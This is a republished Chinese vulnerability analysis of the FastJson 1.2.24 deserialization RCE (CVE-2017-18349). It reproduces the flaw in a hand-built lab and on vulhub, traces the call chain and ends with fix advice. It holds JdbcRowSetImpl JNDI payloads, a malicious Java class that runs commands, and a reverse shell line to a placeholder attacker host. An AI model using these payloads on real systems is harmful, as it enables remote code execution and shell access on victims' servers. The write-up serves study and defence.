尧图网络科技YAOTU DIGITAL 获取报价
获取报价
首页 / 资讯中心 / 文章详情

FastJson 1.2.24 反序列化 RCE漏洞分析

发布时间:2026/9/25 21:19:16

资讯中心
01
ARTICLE

FastJson 1.2.24 反序列化 RCE漏洞分析

FastJson 1.2.24 反序列化 RCE漏洞分析
FastJson 1.2.24 反序列化 RCE 漏洞分析来源与许可本文基于《代码审计 | FastJson 1.2.24 反序列化 RCE 漏洞分析》原文https://wr0ld.github.io/posts/3035988a/ 整理原文采用 CC BY-NC-SA 4.0 协议本文同样以该协议发布转载请注明原文出处。详见文末「来源与许可」。漏洞编号CVE-2017-18349影响版本FastJson ≤ 1.2.24危害远程代码执行RCE成因FastJson 解析 JSON 时若发现type字段会将其值作为类名加载并实例化再通过反射依次调用 setter 赋值。1.2.24 及以下版本该过程没有任何类型校验攻击者可用com.sun.rowset.JdbcRowSetImpl这类 setter 中带危险行为的类作为利用链触发 JNDI 查询并从远程加载恶意类最终实现命令执行。一、环境要求项目要求靶机 JDK≤ 8u1908u121 起 RMI 通道受限8u191 起 LDAP 通道受限FastJson1.2.24利用工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar利用工具运行环境Java 8 及以上JRE 即可靶机 JDK 版本与可用通道对照靶机 JDKRMI1099LDAP1389 8u121可用可用8u121 8u190不可用可用≥ 8u191不可用不可用判断本机 JDK 属于哪一档检查rt.jar里哪条通道带trustURLCodebase开关python -c import zipfile;zzipfile.ZipFile(r你的JDK目录\jre\lib\rt.jar);print(RMI:,btrustURLCodebase in z.read(com/sun/jndi/rmi/registry/RegistryContext.class),LDAP:,btrustURLCodebase in z.read(com/sun/jndi/ldap/Obj.class))本机 8u181 实测输出RMI: True表示 RMI 有闸、LDAP: False表示 LDAP 无闸本文的地址占位符为便于套用到你自己的环境正文中的 IP 一律用占位符表示占位符含义靶机IP靶机存在 fastjson 反序列化漏洞的服务所在机器攻击机IP攻击机运行 JNDI 利用工具、托管恶意类、并接收反弹 shell 的机器若跑 JNDI 工具的机器与接收反弹 shell 的机器不是同一台请各自替换为对应 IP。二、搭建 Maven 项目2.1 建 Maven 项目2.2 添加 FastJson 依赖pom.xml中添加dependenciesdependencygroupIdcom.alibaba/groupIdartifactIdfastjson/artifactIdversion1.2.24/version/dependency/dependencies2.3 下载依赖源代码也下载一下调试时要能跳进 fastjson 源码三、type 机制初探User 例子3.1 创建 User 类src/main/java/org/example/User.javapackageorg.example;publicclassUser{privateStringname;privateintage;privateStringgender;publicStringgetName(){System.out.println(getName);returnname;}publicvoidsetName(Stringname){this.namename;System.out.println(setName);}publicintgetAge(){System.out.println(getAge);returnage;}publicvoidsetAge(intage){this.ageage;System.out.println(setAge);}publicStringgetGender(){System.out.println(getGender);returngender;}publicvoidsetGender(Stringgender){this.gendergender;System.out.println(setGender);}}3.2 修改 Main.java 测试解析packageorg.example;importcom.alibaba.fastjson.JSON;importcom.alibaba.fastjson.JSONObject;publicclassMain{publicstaticvoidmain(String[]args){StringTest{\type\:\org.example.User\,\name\:\wrold\,\age\:18};JSONObjectdateJSON.parseObject(Test);System.out.println(date);}}3.3 运行结果可以看到type指向的是我们自己创建的类文件JSON 数据包含了name和age两个参数在运行结果里触发了setName、setAge、getAge、getName虽然没有定义gender参数但仍然触发了getGender四、parseObject 两种调用方式的区别如果把JSONObject date JSON.parseObject(Test);改成User user JSON.parseObject(Test, User.class);运行结果就不一样了JSON.parseObject(Test, User.class)只触发了 setter没有触发任何 getter。两种调用方式的本质区别调用方式触发方法返回类型JSON.parseObject(Test)setter getterJSONObjectJSON.parseObject(Test, User.class)只有 setterUser 对象这个区别在漏洞利用里非常关键setter 型利用链→ 两种调用方式都能触发JdbcRowSetImpl就是这种getter 型利用链→ 只有parseObject(Test)无类型版本才能触发TemplatesImpl的getOutputProperties就是典型五、PoC 复现5.1 编写 Payloadsrc/main/java/org/example/Main.java改为packageorg.example;importcom.alibaba.fastjson.JSON;publicclassMain{publicstaticvoidmain(String[]args){Stringpayload{\type\:\com.sun.rowset.JdbcRowSetImpl\,\dataSourceName\:\ldap://攻击机IP:1389/xxxxxx\,\autoCommit\:true};JSON.parse(payload);}}5.2 启动 JNDI 服务这里指定 rmi 地址用的是 VMnet8 NAT 网卡地址java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc -A 攻击机IP这里看清楚选 1.8 的那一组。靶机为8u181时只能走 LDAP靶机为8u112时RMI、LDAP 都可5.3 选取地址分组适用靶机使用哪些地址JDK 1.8JDK 8 且 RMI 未受限 8u121该组 rmi 或 ldapTomcat / SpringBoot目标 classpath 含 Tomcat 8 或 SpringBoot 1.2.x该组 rmiJDK 1.7JDK 7该组 rmi 或 ldap5.4 修改 Payload 地址把 payload 里的地址换成工具生成的对应地址。8u112rmi{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:rmi://攻击机IP:1099/xxxxxx,autoCommit:true}ldap{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:ldap://攻击机IP:1389/xxxxxx,autoCommit:true}8u181ldap{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:ldap://攻击机IP:1389/xxxxxx,autoCommit:true}地址末尾那 6 位随机字符每次启动工具都会变必须用工具本次打印出来的值。5.5 成功弹出计算器更换 JDK 运行版本记得改右击【启动图标】→【修改运行配置】。8u112rmi 方式ldap 方式PoC 验证成功。六、三个端口的作用端口服务作用1099RMI 注册表被查询时返回Reference告知去哪获取类1389LDAP 服务被查询时返回含javaCodebase、javaFactory的条目8180HTTP 服务托管恶意 class 文件供靶机下载1099 与 1389 是两条并列的协议通道任选其一依据靶机 JDK 版本决定8180 是两条通道共同依赖的环节。连接方向均由靶机主动发起靶机 →(查询)→ 1099 或 1389 ←(返回 Reference含 javaCodebasehttp://攻击机:8180/) 靶机 →(下载)→ 8180 取得 ExecTemplateJDK8.class 靶机 本地加载并执行 → RCE七、底层代码调试分析7.1 入口分析打断点进入函数在该位置按CtrlB转到JSON里面直接看到用了parse()所以JSON.parse(payload)同样能触发漏洞不一定要用parseObject。注意返回类型不同JSON.parse(String)返回java.lang.ObjectJSON.parseObject(String)才返回JSONObject。所以JSONObject date JSON.parse(payload);编译不过应写成JSON.parse(payload);或Object date JSON.parse(payload);。示例7.2 type 字段的识别进入com/alibaba/fastjson/parser/DefaultJSONParser.java发现一个判断语句判断是否有type的值判断成功后进入处理逻辑com.sun.rowset.JdbcRowSetImpl被提取出来赋值给了typeName7.3 任意类加载TypeUtils.loadClass接着触发了这个函数TypeUtils.loadClass(typeName,this.config.getDefaultClassLoader());进去看看一路的 if 语句都没有成立最后停到了这里className: com.sun.rowset.JdbcRowSetImpl ← type 的值 clazz: class com.sun.rowset.JdbcRowSetImpl ← 字符串成功变成 Class 对象这就是漏洞的根源FastJson 解析 JSON 时如果发现type字段会调用TypeUtils.loadClass()把字符串值转成Class对象然后实例化该类并通过反射调用对应的 setter 方法赋值——任意类都可以被实例化没有任何限制。7.4 找到 DeserializerDefaultJSONParser.parseObject继续往下执行发现下面有一个 Deserializer对象就是type指定的com.sun.rowset.JdbcRowSetImpl7.5 逐步跟踪 setter 调用与其一步一步跟链不如直接在关键 setter/getter 上打断点效率更高。需要关注的方法setDataSourceNamegetDataSourceNamesetAutoCommitgetAutoCommit搜索setDataSourceName/getDataSourceName直接搜索搜不到函数只能找到接口和定义。要找setAutoCommit/getAutoCommit需要用双击 Shift搜索类名JdbcRowSetImpl定位到JdbcRowSetImpl.class后再找对应方法。BaseRowSet.setDataSourceNameJdbcRowSetImpl.setDataSourceNameBaseRowSet.getDataSourceNameJdbcRowSetImpl.setAutoCommitJdbcRowSetImpl.getAutoCommit7.6 setDataSourceName 执行过程再跑一遍调试进入反序列化函数后直接跳到下一个断点到达了setDataSourceNamesetDataSourceName被调用传入 LDAP 地址ldap://攻击机IP:1389/xxxxxx但此时dataSource为空进入 else 判断getDataSourceName被调用但dataSource为空父类setDataSourceName执行dataSource name把 LDAP 或 RMI 地址真正存进去。接下来执行了这个方法method.invoke(object,value);这行代码的位置com.alibaba.fastjson.parser.deserializer.FieldDeserializer#setValue(Object, Object)的第 96 行。也就是说method.invoke是 fastjson 自己写的反射调用不是 JDK、也不是你的代码。它做的事等价于直接调用object.setDataSourceName(ldap://攻击机IP:1389/xxxxxx);object.setAutoCommit(true);有两个重要的参数ldap://攻击机IP:1389/xxxxxx—— 每次启动 JNDI 注入工具后末尾 6 位都会变com.sun.rowset.JdbcRowSetImpl7.7 setAutoCommit 触发 JNDI lookup继续进入setAutoCommitconn为null走 else 分支执行this.conn this.connect()进入connect()从getDataSourceName取值getDataSourceName再次被调用这次返回了 RMI 或 LDAP 地址不为空正常执行 try 里面的内容里面执行了lookup()就是JNDI lookup参数就是 RMI/LDAP 地址。连接恶意 RMI/LDAP 服务加载远程恶意类RCE 触发。八、完整调用链IDEA可以Ctrl Alt Shift N转到符号查询Main.main(Main.java) └─ JSON.parseObject(String) JSON.java:201 └─ JSON.parse(String) JSON.java:128 / 137 └─ DefaultJSONParser.parse() DefaultJSONParser.java:1293 / 1327 └─ DefaultJSONParser.parseObject() DefaultJSONParser.java:320-322 ← 识别 type ├─ TypeUtils.loadClass(typeName) TypeUtils.java:1018 ← 加载任意类 ├─ ParserConfig.getDeserializer() ParserConfig.java:360-367 ← 黑名单校验 └─ deserializer.deserialze() DefaultJSONParser.java:368 └─ JavaBeanDeserializer.deserialze() JavaBeanDeserializer.java:184 / 922 / 593 └─ FieldDeserializer.setValue() FieldDeserializer.java:96 ← method.invoke 调用 setter ├─ JdbcRowSetImpl.setDataSourceName() 存入地址 └─ JdbcRowSetImpl.setAutoCommit() JdbcRowSetImpl.java:4067 反编译行号class:1278和实际有出入 └─ JdbcRowSetImpl.connect() JdbcRowSetImpl.java:634 反编译class:316 └─ InitialContext.lookup(url) ← 发起 JNDI 查询 → 下载并加载远程 class → 执行命令 → RCE环节位置type识别与任意类加载DefaultJSONParser.java第 320-322 行反射调用 setterFieldDeserializer.java第 96 行method.invoke(object, value)触发 JNDI 查询JdbcRowSetImpl.connect()第 634 行为异常抛出处九、vulhub 靶场复现靶场来源https://github.com/vulhub/vulhub/blob/master/fastjson/1.2.24-rce/README.zh-cn.md本节是在多机环境下用 vulhub 靶场复现的完整过程手搭工程的复现见第三五节。9.1 环境与角色角色作用本节环境主机 A受害机存在 fastjson 反序列化漏洞的服务vulhub 容器运行在 Kali 上靶机IP主机 BWeb存放并托管恶意类CentOS7攻击机IPnginx 网站根目录/test主机 CRMIRMI 服务marshalsec监听 9999同上 CentOS7攻击机IP靶机镜像是Java 8u102 Linux Spring Boot因此rmi://通道可直接使用命令按 Linux 写法即可。启动靶场该环境使用 Fastjson 1.2.24 作为默认 JSON 解析器dockercompose up-d验证环境curlhttp://靶机IP:8090/-HContent-Type: application/json--data{name:hello, age:20}9.2 复现一执行命令touch /tmp/success第一步创建恶意 Java 类cd/test# nginx 网站根目录touchTouchFile.javavimTouchFile.java# 写入下面的类然后编译importjava.lang.Runtime;importjava.lang.Process;publicclassTouchFile{static{try{RuntimertRuntime.getRuntime();String[]commands{touch,/tmp/success};// String[] commands {bash, -c, {echo,base64}|{base64,-d}|{bash,-i}}; // 用于反弹 shellProcesspcrt.exec(commands);pc.waitFor();}catch(Exceptione){// do nothing}}}javac TouchFile.java# 生成 TouchFile.class第二步编译并启动 RMI 服务器marshalsecmarshalsec 需要 Maven 编译而 CentOS7 最小化安装与 Kali 默认都不自带 Maven# 1) 官网下载 Mavenhttp://maven.apache.org/download.cgi# 2) 解压到 /optcd/opttar-xvzfapache-maven-3.9.5-bin.tar.gz# 3) 编辑 /etc/profile末尾追加# export M2_HOME/opt/apache-maven-3.9.5# export PATH$PATH:$M2_HOME/bin# 4) 生效source/etc/profile# 编译 marshalsec首次会下载依赖耗时较长看到绿色的 SUCCESS 即成功cdmarshalsec-master mvn clean package-DskipTestscdmarshalsec-master/targetjava-cpmarshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServerhttp://攻击机IP:80/#TouchFile9999# ↑ 换成你的攻击机 Web 服务 IP 与端口第三步发送 PayloadPOST / HTTP/1.1 Host: 靶机IP:8090 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 160 { b:{ type:com.sun.rowset.JdbcRowSetImpl, dataSourceName:rmi://攻击机IP:9999/TouchFile, autoCommit:true } }验证命令touch /tmp/success已成功执行9.3 复现二反弹 shell流程与 9.2 基本一致只需改动恶意类里要执行的命令。第一步创建恶意 Java 类先把命令做 Base64 编码bash-i/dev/tcp/攻击机IP/666601# Base64 编码结果# YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEzLjE1NS82NjY2IDAJjEimportjava.lang.Runtime;importjava.lang.Process;publicclassTouchFile{static{try{RuntimertRuntime.getRuntime();// String[] commands {touch, /tmp/success};String[]commands{bash,-c,{echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEzLjE1NS82NjY2IDAJjE}|{base64,-d}|{bash,-i}};Processpcrt.exec(commands);pc.waitFor();}catch(Exceptione){// do nothing}}}javac TouchFile.java第二步启动监听与 RMI 服务器nc-lvnp6666# 攻击机监听 6666用于接收反弹 shell# RMI 服务器仍监听 9999启动方式同 9.2 第二步第三步发送 Payload把请求里的 RMI 地址改成攻击机地址后发送POST / HTTP/1.1 Host: 靶机IP:8090 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 164 { b:{ type:com.sun.rowset.JdbcRowSetImpl, dataSourceName:rmi://攻击机IP:9999/TouchFile, autoCommit:true } }验证9.4 与手搭工程复现的差异差异点vulhub 靶场手搭工程本文前五节靶机 JDKJava 8u102RMI / LDAP 均无闸门需自行选版本8u181 只能走 LDAP靶机操作系统Linux 容器本机 Windows命令须用cmd /c ...触发入口HTTP 接口POST/本地main方法直接调用JSON.parse恶意类自己写TouchFile用 marshalsec 起 RMI用 JNDI-Injection-Exploit 内置的ExecTemplateJDK8十、修复建议升级 FastJson首选1.2.25 起引入checkAutoTypeautotype 默认关闭并内置危险类黑名单建议升级至最新版本并开启 safeMode1.2.68ParserConfig.getGlobalInstance().setSafeMode(true)。收紧调用方式解析不可信数据时显式传入目标类型JSON.parseObject(text, DTO.class)避免使用不传类型的JSON.parseObject(text)。升级 JDK升级至 8u191 及以上可阻断 JNDI 远程类加载路径属缓解措施非根本修复。其他不在公网暴露含反序列化处理的接口对入参做过滤定期扫描依赖版本。来源与许可原文代码审计 | FastJson 1.2.24 反序列化 RCE 漏洞分析—— https://wr0ld.github.io/posts/3035988a/JDK 版本参考https://www.cnblogs.com/yyhuni/p/8u191_jndi_inject.htmlFastJson 官方仓库https://github.com/alibaba/fastjson原文采用 CC BY-NC-SA 4.0 许可协议。本文作为其衍生整理保留了原文的章节结构与调试截图复现结果与截图均为自行实验所得同样以 CC BY-NC-SA 4.0 协议发布转载请注明原文出处。
02
RELATED NEWS

相关资讯

更多网站建设与数字化升级内容

03
WHY YAOTU

想打造同款高转化官网?

懂行业、懂生意,从建站到增长一站式陪跑

◈

场景化定制

不做模板站,围绕你的业务场景量身设计,小众不撞款。

◐

营销型架构

以转化目标组织内容与路径,让官网真正带来询盘。

▲

全周期服务

设计、开发、运营、运维一体,上线只是开始。

免费获取你的建站方案

留下需求,专属顾问 24 小时内为你输出方案建议。